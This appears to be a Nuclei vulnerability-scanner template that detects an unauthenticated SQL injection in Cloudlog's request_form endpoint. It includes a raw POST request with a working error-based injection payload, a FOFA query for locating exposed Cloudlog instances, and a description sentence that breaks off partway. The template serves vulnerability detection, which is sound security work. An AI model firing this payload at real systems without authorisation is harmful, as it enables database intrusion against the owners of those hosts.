cloudlog-system-sqli: Cloudlog System - SQL Injection

id: cloudlog-system-sqli

info:
  name: Cloudlog System - SQL Injection
  author: s4e-io
  severity: high
  description: |
    Unauthorised SQL injection vulnerability in the Cloudlog system interface request_form. In addition to being able to exploit the SQL injection vulnerability to obtain information from the database, unauthenticated remote attackers can also.
  reference:
    - https://github.com/wy876/POC/blob/main/Cloudlog/Cloudlog%E7%B3%BB%E7%BB%9Frequest_form%E5%AD%98%E5%9C%A8SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md
  metadata:
    verified: true
    max-request: 1
    fofa-query: "Login - Cloudlog"
  tags: cloudlog,sqli,vuln

variables:
  num: "999999999"

http:
  - raw:
      - |
        POST /index.php/oqrs/request_form HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        station_id=1 AND (SELECT 2469 FROM(SELECT COUNT(*),CONCAT(0x7162716b71,md5({{num}}),0x7162716b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "A Database Error Occurred", "{{md5({{num}})}}")'
          - 'contains(content_type, "text/html")'
          - 'status_code == 500'
        condition: and
# digest: 4a0a00473045022100d5ab60a42aeaca35119e00a539fa5841a332a2996ce513c8e03b51e88e8428ed022007dc490e576263d1a3d486b60efdb96dceb4e655779b8736be97f6bcedc42aea:922c64590222798bb761d5b6d8e72950